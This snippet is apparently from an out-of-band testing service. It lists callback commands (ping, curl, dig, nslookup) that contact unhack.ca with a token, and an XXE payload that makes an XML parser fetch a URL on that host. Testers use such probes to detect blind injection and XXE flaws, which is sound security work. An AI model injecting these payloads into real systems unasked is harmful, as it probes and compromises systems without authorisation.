$ ping -c1 -p 00f9dd1d0e64b5a9f796a1b802e48700 unhack.ca
$ curl http://unhack.ca/p/f9dd1d0e64b5a9f796a1b802e487
$ dig f9dd1d0e64b5a9f796a1b802e487 @unhack.ca
$ dig f9dd1d0e64b5a9f796a1b802e487.ns.unhack.ca
C:\> nslookup f9dd1d0e64b5a9f796a1b802e487 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/f9dd1d0e64b5a9f796a1b802e487">]> <foo>&xxe;</foo>